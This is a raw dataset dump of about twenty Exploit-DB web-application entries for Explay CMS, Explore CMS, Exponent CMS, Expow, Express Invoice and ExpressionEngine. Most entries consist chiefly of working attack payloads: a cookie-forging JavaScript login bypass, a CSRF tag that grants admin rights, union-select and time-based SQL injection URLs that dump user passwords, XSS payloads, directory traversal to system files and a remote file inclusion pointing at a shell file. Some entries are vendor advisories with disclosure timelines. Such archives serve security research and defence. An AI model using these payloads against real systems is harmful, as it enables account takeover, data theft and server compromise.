deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6500
Description: Explay CMS 2.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-20
Author: Stack

Exploit:
###############################################################################################
[+] Explay CMS <= 2.1 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack                
[+] Greetz : All my freind               
################################################################################################
---
exploit:
javascript:document.cookie = "login=1; path=/"; document.cookie = "pass=1; path=/";

# milw0rm.com [2008-09-20]
Exploit-DB #6495
Description: Explay CMS 2.1 - Persistent Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2008-09-19
Author: hodik

Exploit:
==================================
Explay CMS <= 2.1 Persistent XSS and CSRF
==================================
Discovered by hodik
Mail: n.khodov@gmail.com

1. Persistent XSS
This CMS has bad anti-XSS filter that cut only some basic vectors. The loginned user can inject persistent XSS by adding to article text or comment  <img src="http://google.com" onerror="alert(document.cookie)" />

2. CSRF
User can get admin rights if admin open malicious page that contain, for instance:
<img src="http://explay.localhost/admin.php?name=users&page=1&order=user_id&set_admin=2" />
or merely insert it to comment or article text.

# milw0rm.com [2008-09-19]
Exploit-DB #50920
Description: Explore CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2022-05-11
Author: Sajibe Kanti

Exploit:
# Exploit Title: Explore CMS 1.0 - SQL Injection
# Date: 19/03/2022
# Exploit Author: Sajibe Kanti
# Vendor Name : EXPLORE IT
# Vendor Homepage: https://exploreit.com.bd
# CVE: CVE-2022-27412

# POC

# SQL Injection
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.
explore CMS is vulnerable to the SQL Injection in 'id' parameter of the 'page' page.

#Steps to reproduce

Following URL is vulnerable to SQL Injection in the 'id' field.

GET /page.php?id=1%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns HTTP/1.1
Host: REDACTED
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=b4c39f2ff3b9470f39bc088ab9ba9320
Referer: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36


HTTP/1.1 200 OK
content-encoding:
server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
content-type: text/html; charset=UTF-8
transfer-encoding: chunked
date: Thu, 17 Mar 2022 07:27:21 GMT
vary: Accept-Encoding

10.3.34-MariaDB

Server accepts the payload and the response get delayed by 7 seconds.
Exploit-DB #10566
Description: Explorer 7.20 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-20
Author: Metropolis

Exploit:
###########################################
#
# Script Name : Explorer V7.20 
#
# Version :  V7.20 Release Candidate 1 REV A 
# 
# Bug Type : XSS vulnerability
#
# Found by : Metropolis 
#
# Discovered : 20 December 2009
#
# Download app : http://www.jbc-explorer.info/?action=download&download=16
#
# Dork : JBC explorer [ by Psykokwak & XaV ]
# 
###########################################
 
PoC :
 
http://[target]/[path]/dirsys/arbre.php?0=search&last=1[Xss]
 
example :
 
http://[target]/[path]/dirsys/arbre.php?0=search&last=1<body+onload=alert(document.cookie)>
 
local Example :
 
http://localhost/album/dirsys/arbre.php?0=search&last=1<body+onload=alert(document.cookie)>

[ Greetz: 
 
[~]: Frf2 Az£L Z£L EsSandRe ticlem007 the killers themic Lariane All www.metropolis.thebigbang.fr :[~]
Exploit-DB #25058
Description: Exponent CMS 0.95 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-25
Author: y3dips

Exploit:
source: https://www.securityfocus.com/bid/12358/info

Exponent is reported prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user facilitating theft of cookie-based authentication credentials and other attacks.

Exponent 0.95 is reported prone to these issues. It is likely that previous versions are vulnerable as well. 

http://www.example.com/endon/mod.php?action=[BLABLA]&module=[XSS]
http://www.example.com/expo/index.php?action=createuser&module=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/expo/index.php?action=view&id=2&module=<h1>Tes</h1>
Exploit-DB #11349
Description: Exponent CMS 0.96.3 - 'articlemodule' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-07
Author: T u R c O

Exploit:
Exponent CMS 0.96.3 (articlemodule) Sql Injection Vulnerability 
======================================================== 
  
#################################################################### 
# Author : T u R c O
# Home   : www.1923Turk.com
# Script : exponentcms
# Dork: "Welcome to Exponent CMS" | "my new exponent site"  inurl:articlemodule
              
  
#################################################################### 
  
===[ Exploit ]=== 
  
http://server/index.php?action=view_article&module=articlemodule&id= SQL INJECTION
  
  -1+union+select+1,2,3,password,username,6+from+exponent_user--

Demo:

http:/server/index.php?action=view_article&module=articlemodule&id=-1+union+select+1,2,3,password,username,6+from+exponent_user--

   
####################################################################
Exploit-DB #29872
Description: Exponent CMS 0.96.5/0.96.6 - 'iconspopup.php?icodir' Traversal Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2007-04-20
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/23574/info
  
Exponent CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, control how the site is rendered to the user, compromise the application, obtain sensitive information, and access or modify data.
  
http://www.example.com/iconspopup.php?icodir=/../../../
Exploit-DB #29870
Description: Exponent CMS 0.96.5/0.96.6 - 'magpie_debug.php?url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-20
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/23574/info

Exponent CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, control how the site is rendered to the user, compromise the application, obtain sensitive information, and access or modify data. 

http://www.example.com/external/magpierss/scripts/magpie_debug.php?url=<script> alert(document.cookie) </script>
Exploit-DB #29871
Description: Exponent CMS 0.96.5/0.96.6 - 'magpie_slashbox.php?rss_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-20
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/23574/info
 
Exponent CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, control how the site is rendered to the user, compromise the application, obtain sensitive information, and access or modify data.
 
http://www.example.com/external/magpierss/scripts/magpie_slashbox.php?rss_url=<script> alert(document.cookie) </script>
Exploit-DB #34265
Description: Exponent CMS 0.97 - 'Slideshow.js.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-07
Author: Andrei Rimsa Alvares

Exploit:
source: https://www.securityfocus.com/bid/41447/info

Exponent CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Exponent 0.97.0 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/slideshowmodule/slideshow.js.php?u=%3Cscript%3Ewindow.alert(String.fromCharCode(88,83,83));%3C/script%3E
Exploit-DB #36916
Description: Exponent CMS 2.0 - 'src' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-07
Author: Rob Miller

Exploit:
source: https://www.securityfocus.com/bid/52328/info

Exponent CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Exponent CMS 2.0.4 is vulnerable; prior versions may also be affected. 

http://www.example.com//exponent/cron/send_reminders.php?src=src%3d11"%3b}'%20or%201%3d1%20AND%20SLEEP(5)%20%3b%20--%20"
Exploit-DB #35717
Description: Exponent CMS 2.0.0 Beta 1.1 - Local File Inclusion / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-05-09
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47757/info

Exponent CMS is prone to a local file-include vulnerability and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information.

Exponent CMS 2.0.0 beta 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/exponent/content_selector.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00&section=&action=
Exploit-DB #36059
Description: Exponent CMS 2.3.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2015-02-12
Author: Mayuresh Dani

Exploit:
######################
# Exploit Title: Multiple Exponent CMS Cross-Site Scripting Vulnerabilies
# Discovered by-
# Mayuresh Dani (mdani@qualys.com)
# Narendra Shinde (nshinde@qualys.com)
# Vendor Homepage: http://www.exponentcms.org/
# Software Link:
http://sourceforge.net/projects/exponentcms/files/exponent-2.3.1.zip/download
# Version: 2.3.1
# Date: 2014-10-11
# Tested on: Windows 7 / Mozilla Firefox
#            Ubuntu 14.04 / Mozilla Firefox
# CVE: CVE-2014-8690
######################
# Vulnerability Disclosure Timeline:
# 2014-11-04:  Discovered vulnerability
# 2014-11-04:  Vendor Notification
# 2014-11-05:  Vendor confirmation
# 2014-11-06:  Vendor fixes Universal XSS -
http://www.exponentcms.org/news/security-patch-released-for-v2-1-4-v2-2-3-and-v2-3-0
# 2015-02-12:  Public Disclosure
######################
# Description
# Exponent CMS is a free, open source, open standards modular enterprise
software framework and content management system (CMS) written in the PHP.
#
# CVE-2014-8690:
# Universal XSS - Exponent CMS builds the canonical path field from an
unsanitized URL, which can be used to execute arbitrary scripts.
# Examples:
#
http://server/news/show/title/time-for-a-heavy-harvest-new-release/src/%22%3E%3Cscript%3Ealert%287%29%3C/script%3E@random4cd201e063d5c
#
http://server/news/show/title/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Etime-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
#
http://server/news/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Eshow/title/time-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
#
# 2.b. XSS in user profiles.
# The "First Name" and "Last Name" fields on
http://server/exponent/users/edituser are not sufficiently sanitized. Enter
your favourite script and the application will execute it everytime for you.
#
# More information and PoCs -
http://exponentcms.lighthouseapp.com/projects/61783/tickets/1230-universal-cross-site-scripting-in-exponent-cms-231-and-prior
#
#
# Thanks,
# Mayuresh & Narendra
Exploit-DB #40412
Description: Exponent CMS 2.3.9 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-09-22
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2016-005
- Original release date: September 09, 2016
- Last revised:  September 20, 2016
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2016-7400
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in Exponent CMS <= v2.3.9

II. BACKGROUND
-------------------------
Exponent CMS is a free, open source, open standards modular enterprise
software framework and content management system (CMS) written in the
programming language PHP.

III. DESCRIPTION
-------------------------
This bug was found using the portal in the index.php page.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the "index.php" page
"/exponent/index.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Blind SQL
injection and Time Based SQL Injection.

Blind SQL Injection POC:

/exponent/index.php'%20or%201%3d1--%20

/exponent/index.php'%20or%201%3d2--%20

Time Based SQL Injection POC:

/exponent/index.php'%20OR%20SLEEP(1)--%20   (2 seconds of response)

/exponent/index.php'%20OR%20SLEEP(30)--%20   (30 seconds of response)

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Exponent CMS <= v2.3.9

VII. SOLUTION
-------------------------
Vendor fix the vulnerability:
http://www.exponentcms.org/news/updated-patches-released-for-v2-1-4-and-v2-2-3[PII_REDACTED]-0.50310400

VIII. REFERENCES
-------------------------
http://www.exponentcms.org/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
September 09, 2016 1: Initial release
September 20, 2016 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
September 09, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
September 09, 2016 2: Send to vendor
September 12, 2016 3: Vendor fix vulnerability
September 20, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #18773
Description: exponentcms 2.0.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-23
Author: Onur Yılmaz

Exploit:
Information
--------------------
Name :  XSS and Blind SQL Injection Vulnerabilities in ExponentCMS
Software :  ExponentCMS 2.0.5 and possibly below.
Vendor Homepage :  http://www.exponentcms.org
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Onur Yılmaz
Advisory Reference :  NS-12-006

Description
--------------------
Exponent is a website content management system (or CMS) that allows
site owners to easily create and manage dynamic websites without
necessarily directly coding web pages, or managing site navigation.

Details
--------------------
Exponent CMS is affected by XSS and SQL Injection vulnerabilities in
version 2.0.5.

Example PoC urls are as follows :
http://example.com/index.php?section=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)
http://example.com/index.php?action=showall_by_tags&tag=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E&controller=news&src=
 () random4e5433b85bb1f
http://example.com/index.php?controller=expTag&action=show&title=changes&src=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E

You can read the full article about Cross-Site Scripting and SQL
Injection vulnerabilities from here :
http://www.mavitunasecurity.com/crosssite-scripting-xss/
http://www.mavitunasecurity.com/sql-injection/

Solution
--------------------
The vendor fixed this vulnerability in the new version. Please see the
references.

Advisory Timeline
--------------------
12/03/2012 - First contact: Sent the vulnerability details
20/03/2012 - Vulnerability Fixed in latest version
25/04/2012 - Vulnerability Released

Credits
--------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References
--------------------
Vendor Url / Patch :
http://exponentcms.org/news/-happy-hyperbole-v2-0-6-is-in-full-bloom
MSL Advisory Link :
http://www.mavitunasecurity.com/blog/xss-and-blind-sql-injection-vulnerabilities-in-exponentcms/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
--------------------
Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

-- 
Netsparker Advisories, <advisories () mavitunasecurity com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/
Exploit-DB #28673
Description: Exporia 0.3 - 'Common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20205/info

Exporia is prone to a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This BID is being retired because further analysis reveals that the application is not vulnerable to this issue.

http://www.example.com/[path]/common.php?lan=attacker's site
Exploit-DB #3722
Description: Expow 0.8 - 'autoindex.php?cfg_file' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-12
Author: mdx

Exploit:
Expow 0.8 File manager  Autoindex.php (cfg_file) Remote File Inclusion Vulnerability
__________________________________________________________________________
found by : mdx
--------------------------------------------------------------------------
Download script : http://sourceforge.net/project/downloading.php?group_id=29595&use_mirror=kent&filename=expow-0.8.tar.gz&92927218
--------------------------------------------------------------------------
file name : autoindex.php
__________________________________________________________________________
Ãncluded line ;

  if (!include($cfg_file))

__________________________________________________________________________
Exploit :

http://site.com/[path]/autoindex.php?cfg_file=shellmdx.txt?

# milw0rm.com [2007-04-12]
Exploit-DB #47496
Description: Express Invoice 7.12 - 'Customer' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-10-14
Author: Debashis Pal

Exploit:
# Exploit Title: Express Invoice 7.12 - 'Customer' Persistent Cross-Site Scripting
# Exploit Author: Debashis Pal
# Date: 2019-10-13
# Vendor Homepage: https://www.nchsoftware.com/
# Source: https://www.nchsoftware.com/invoice/index.html
# Version: Express Invoice v7.12
# CVE : N/A
# Tested on: Windows 7 SP1(32bit)

# About Express Invoice v7.12
==============================
Express Invoice lets you create invoices you can print, email or fax directly to clients for faster payment. 

# Vulnerability 
================
Persistent Cross site scripting (XSS).

# PoC 
======

1. Login as authenticated unprivileged user to Express Invoice version 7.12 web enable service i.e  http://A.B.C.D:96 [Default installation]. 

2. Under "Invoices" Invoices List -> View Invoices -> Add New Invoice -> Customer: Field put </script><script>alert('XSS');</script>

Save the change. 

or 

Under "Items" 
Items -> Add new item-> Item field: put  </script><script>alert('XSS');</script>

Save the change. 

or 

Under "Customers" 
Customers -> Add New Customer -> Customer Name:  put  </script><script>alert('XSS');</script>

Save the change. 

or 

Under "Quotes"
Quotes -> View Quotes -> Add New Quote -> Customer: put  </script><script>alert('XSS');</script>

Save the change. 

3. Login in authenticated privileged or unprivileged  user to Express Invoice v7.12 web enable service and visit any of Invoices/Items/Customers/Quotes section, Persistent XSS payload will execute.


# Disclosure Timeline
======================
Vulnerability Discover Date: 12-Sep-2019.
Vulnerability notification to vendor via vendor provided web form: 12-Sep-2019 ,13-Sep-2019, 19-Sep-2019, 26-Sep-2019, no responds. 
Submit exploit-db : 14-Oct-2019.


# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
Exploit-DB #30983
Description: ExpressionEngine 1.2.1 - HTTP Response Splitting / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/27128/info

ExpressionEngine is prone to an HTTP-response-splitting vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

ExpressionEngine 1.2.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/index.php?URL=%0AContent-Type:html%0A%0A%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #32871
Description: ExpressionEngine 1.6 - Avtaar Name HTML Injection
Type: webapps
Platform: php
Date: 2009-03-22
Author: Adam Baldwin

Exploit:
source: https://www.securityfocus.com/bid/34193/info

ExpressionEngine is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

ExpressionEngine 1.6.4 through 1.6.6 are affected. Other versions may also be vulnerable.

chococat.gif"><script>alert('XSS')</script><div "a